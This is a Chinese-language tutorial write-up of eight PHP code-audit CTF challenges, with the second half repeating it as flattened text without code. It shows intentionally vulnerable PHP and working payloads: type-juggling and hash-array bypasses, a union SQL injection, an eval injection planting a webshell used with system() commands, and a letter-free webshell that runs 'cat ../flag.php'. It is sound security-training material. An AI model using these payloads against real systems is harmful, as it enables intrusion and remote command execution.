PHP代码审计之CTF系列(1)
字数 2048 2025-08-18 11:39:22

PHP代码审计之CTF系列教学文档

前言

本教学文档基于FreeBuf文章《PHP代码审计之CTF系列(1)》整理,详细解析了8个PHP代码审计挑战题目的解题思路和关键技术点。文档涵盖了PHP弱类型比较、变量覆盖、SQL注入、文件包含、代码执行等多种安全漏洞类型,适合CTF选手和Web安全学习者参考。

Challenge 1: 编码转换与逆向

题目代码

error_reporting(0);
require __DIR__.'/lib.php';
echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';
highlight_file(__FILE__);

给定字符串

1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=

解题思路

  1. 题目使用了多层编码转换:

    • bin2hex(): 将二进制数据转换为十六进制表示
    • strrev(): 反转字符串
    • hex2bin(): 将十六进制字符串转换回二进制数据
    • base64_encode(): 进行Base64编码
  2. 解密步骤需要逆向执行这些操作:

    • Base64解码
    • 转换为十六进制
    • 反转字符串
    • 十六进制转ASCII

解密代码

$str = "1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=";
echo hex2bin(strrev(bin2hex(base64_decode($str))));

关键函数

  • bin2hex(): ASCII字符转十六进制
  • strrev(): 字符串反转
  • hex2bin(): 十六进制转ASCII字符
  • base64_encode()/base64_decode(): Base64编解码

Challenge 2: 弱类型比较与科学计数法绕过

题目代码

error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['time'])){
    if(!is_numeric($_GET['time'])){
        echo 'The time must be number.';
    }else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
        echo 'This time is too short.';
    }else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
        echo 'This time is too long.';
    }else{
        sleep((int)$_GET['time']);
        echo $flag;
    }
    echo '<hr>';
}
highlight_file(__FILE__);

解题思路

  1. 需要满足条件:5184000(606024302) < time < 7776000(606024303)
  2. 直接输入符合条件的数字会导致长时间sleep
  3. 利用PHP弱类型比较和科学计数法绕过:
    • PHP会将"6e6"解析为科学计数法6000000
    • (int)'6e6'结果为6,sleep时间很短

有效payload

?time=6e6

PHP弱类型关键点

  1. 字符串转数值规则:
    • 不含'.','e','E'且在整型范围内:当作int
    • 其他情况:当作float
  2. 科学计数法解析:
    • "0e123"会被解析为科学计数法0
  3. 十六进制解析:
    • "0x123"会被解析为十六进制数

Challenge 3: 文件包含与字符串截断

题目代码

error_reporting(0);
echo "<!--challenge3.txt-->";
require __DIR__.'/lib.php';

if(!$_GET['id']){
    header('Location: challenge3.php?id=1');
    exit();
}

$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];

if(stripos($a,'.')){
    echo 'Hahahahahaha';
    return ;
}

$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4){
    echo $flag;
}else{
    print "work harder!harder!harder!";
}

解题思路

  1. 需要满足多个条件:

    • $data == "1112 is a nice lab!"
    • $id == 0
    • strlen($b) > 5
    • eregi("111".substr($b,0,1), "1114")为真
    • substr($b,0,1) != 4
  2. 解决方案:

    • $a使用php://input读取POST数据
    • $id传任意字符会被转为0
    • $b使用%00截断绕过检查

关键函数

  • stripos(): 查找字符串位置(不区分大小写)
  • file_get_contents(): 读取文件内容
  • eregi(): 正则匹配(不区分大小写,已弃用)

有效payload

GET: ?id=a&a=php://input&b=%00111111
POST: 1112 is a nice lab!

Challenge 4: 代码执行与注释绕过

题目代码

error_reporting(0);
show_source(__FILE__);
$a = @$_REQUEST['hello'];
eval("var_dump($a);");

解题思路

  1. 构造PHP代码注入,闭合前面的var_dump并添加恶意代码
  2. 使用注释符//避免语法错误

有效payload

?hello=);eval($_POST['A']);%2f%2f

利用方式

  1. 使用中国菜刀等工具连接
  2. POST数据:A=system('命令');

Challenge 5: SHA1数组绕过

题目代码

if (isset($_GET['name']) and isset($_GET['password'])) {
    if ($_GET['name'] == $_GET['password'])
        echo '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
        die('Flag: '.$flag);
    else
        echo '<p>Invalid password.</p>';
}

解题思路

  1. 利用sha1()处理数组返回NULL的特性
  2. 传入数组使sha1(\(_GET['name']) === sha1(\)_GET['password']) => NULL === NULL

有效payload

?name[]=1&password[]=2

Challenge 6: SQL注入与MD5碰撞

题目代码

if($_POST[user] && $_POST[pass]) {
    $conn = mysql_connect(...);
    mysql_select_db("challenges") or die("Could not select database");
    
    $user = $_POST[user];
    $pass = md5($_POST[pass]);
    $sql = "select pwd from interest where uname='$user'";
    $query = mysql_query($sql);
    
    $row = mysql_fetch_array($query, MYSQL_ASSOC);
    
    if (($row[pwd]) && (!strcasecmp($pass, $row[pwd]))) {
        echo "<p>Logged in! Key: </p>";
    }
}

解题思路

  1. 利用SQL注入返回特定MD5值
  2. 使用已知的MD5碰撞字符串(QNKCDZO => 0e830400451993494058024219903391)

有效payload

user=' union select "0e830400451993494058024219903391"#&pass=QNKCDZO

Challenge 7: 变量覆盖漏洞

题目代码

include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";

if ($_SERVER["REQUEST_METHOD"] != "POST") die("BugsBunnyCTF is here :p...");
if ( !isset($_POST["flag"]) ) die($_403);

foreach ($_GET as $key => $value) 
    
$$
key = 
$$
value;
    
foreach ($_POST as $key => $value) 
    
$$
key = $value;

if ( $_POST["flag"] !== $flag ) die($_403);
echo "This is your flag : ". $flag . "\n";
die($_200);

解题思路

  1. 利用第一个foreach进行变量覆盖
  2. \(_200或\)_403覆盖为$flag的值

有效payload

GET: ?_200=flag
POST: flag=1

GET: ?_403=flag
POST: flag=1

Challenge 8: 字符过滤与无字母数字Webshell

题目代码

ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);

if(!isset($_GET['c'])){
    show_source(__FILE__);
    die();
}

$data = $_GET['c'];
$black_list = array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
                   'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
                   'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z');

foreach ($black_list as $b) {
    if (stripos($data, $b) !== false){
        die("WAF!");
    }
}

$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;

if(file_put_contents($full_filename, '<?php '.$data)){
    echo "<a href='".$full_filename."'>WebShell</a></br>";
    echo "Enjoy your webshell~";
}else{
    echo "Some thing wrong.";
}

解题思路

  1. 需要构造不含字母数字的Webshell
  2. 利用PHP字符串自增特性生成所需字符
  3. 通过变量拼接构造$_GET['_']($_GET['__'])形式的动态函数调用

有效payload

?c=$_=[].[];$__='';$_=$_[''];$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$_=++$_;$_=++$_;$__=$_.$__;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;${'_'.$__}[_](${'_'.$__}[__]);

然后访问生成的文件:
?_=system&__=cat ../flag.php

总结

本系列挑战涵盖了PHP安全审计中的多种常见漏洞类型,包括:

  1. 编码转换与逆向
  2. 弱类型比较与科学计数法绕过
  3. 文件包含与字符串处理
  4. 代码执行漏洞
  5. 哈希函数特性利用
  6. SQL注入与MD5碰撞
  7. 变量覆盖漏洞
  8. 无字母数字Webshell构造

掌握这些技术对于PHP代码审计和CTF比赛至关重要,建议读者在实际环境中练习这些技术,加深理解。

PHP代码审计之CTF系列教学文档 前言 本教学文档基于FreeBuf文章《PHP代码审计之CTF系列(1)》整理,详细解析了8个PHP代码审计挑战题目的解题思路和关键技术点。文档涵盖了PHP弱类型比较、变量覆盖、SQL注入、文件包含、代码执行等多种安全漏洞类型,适合CTF选手和Web安全学习者参考。 Challenge 1: 编码转换与逆向 题目代码 给定字符串 1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY= 解题思路 题目使用了多层编码转换: bin2hex() : 将二进制数据转换为十六进制表示 strrev() : 反转字符串 hex2bin() : 将十六进制字符串转换回二进制数据 base64_encode() : 进行Base64编码 解密步骤需要逆向执行这些操作: Base64解码 转换为十六进制 反转字符串 十六进制转ASCII 解密代码 关键函数 bin2hex() : ASCII字符转十六进制 strrev() : 字符串反转 hex2bin() : 十六进制转ASCII字符 base64_encode() / base64_decode() : Base64编解码 Challenge 2: 弱类型比较与科学计数法绕过 题目代码 解题思路 需要满足条件:5184000(60 60 24 30 2) < time < 7776000(60 60 24 30 3) 直接输入符合条件的数字会导致长时间sleep 利用PHP弱类型比较和科学计数法绕过: PHP会将"6e6"解析为科学计数法6000000 但 (int)'6e6' 结果为6,sleep时间很短 有效payload ?time=6e6 PHP弱类型关键点 字符串转数值规则: 不含'.','e','E'且在整型范围内:当作int 其他情况:当作float 科学计数法解析: "0e123"会被解析为科学计数法0 十六进制解析: "0x123"会被解析为十六进制数 Challenge 3: 文件包含与字符串截断 题目代码 解题思路 需要满足多个条件: $data == "1112 is a nice lab !" $id == 0 strlen($b) > 5 eregi("111".substr($b,0,1), "1114")为真 substr($b,0,1) != 4 解决方案: $a使用php://input读取POST数据 $id传任意字符会被转为0 $b使用%00截断绕过检查 关键函数 stripos() : 查找字符串位置(不区分大小写) file_get_contents() : 读取文件内容 eregi() : 正则匹配(不区分大小写,已弃用) 有效payload Challenge 4: 代码执行与注释绕过 题目代码 解题思路 构造PHP代码注入,闭合前面的var_ dump并添加恶意代码 使用注释符//避免语法错误 有效payload ?hello=);eval($_POST['A']);%2f%2f 利用方式 使用中国菜刀等工具连接 POST数据:A=system('命令'); Challenge 5: SHA1数组绕过 题目代码 解题思路 利用sha1()处理数组返回NULL的特性 传入数组使sha1($_ GET[ 'name']) === sha1($_ GET[ 'password' ]) => NULL === NULL 有效payload ?name[]=1&password[]=2 Challenge 6: SQL注入与MD5碰撞 题目代码 解题思路 利用SQL注入返回特定MD5值 使用已知的MD5碰撞字符串(QNKCDZO => 0e830400451993494058024219903391) 有效payload Challenge 7: 变量覆盖漏洞 题目代码 解题思路 利用第一个foreach进行变量覆盖 将$_ 200或$_ 403覆盖为$flag的值 有效payload 或 Challenge 8: 字符过滤与无字母数字Webshell 题目代码 解题思路 需要构造不含字母数字的Webshell 利用PHP字符串自增特性生成所需字符 通过变量拼接构造 $_GET['_']($_GET['__']) 形式的动态函数调用 有效payload 然后访问生成的文件: ?_=system&__=cat ../flag.php 总结 本系列挑战涵盖了PHP安全审计中的多种常见漏洞类型,包括: 编码转换与逆向 弱类型比较与科学计数法绕过 文件包含与字符串处理 代码执行漏洞 哈希函数特性利用 SQL注入与MD5碰撞 变量覆盖漏洞 无字母数字Webshell构造 掌握这些技术对于PHP代码审计和CTF比赛至关重要,建议读者在实际环境中练习这些技术,加深理解。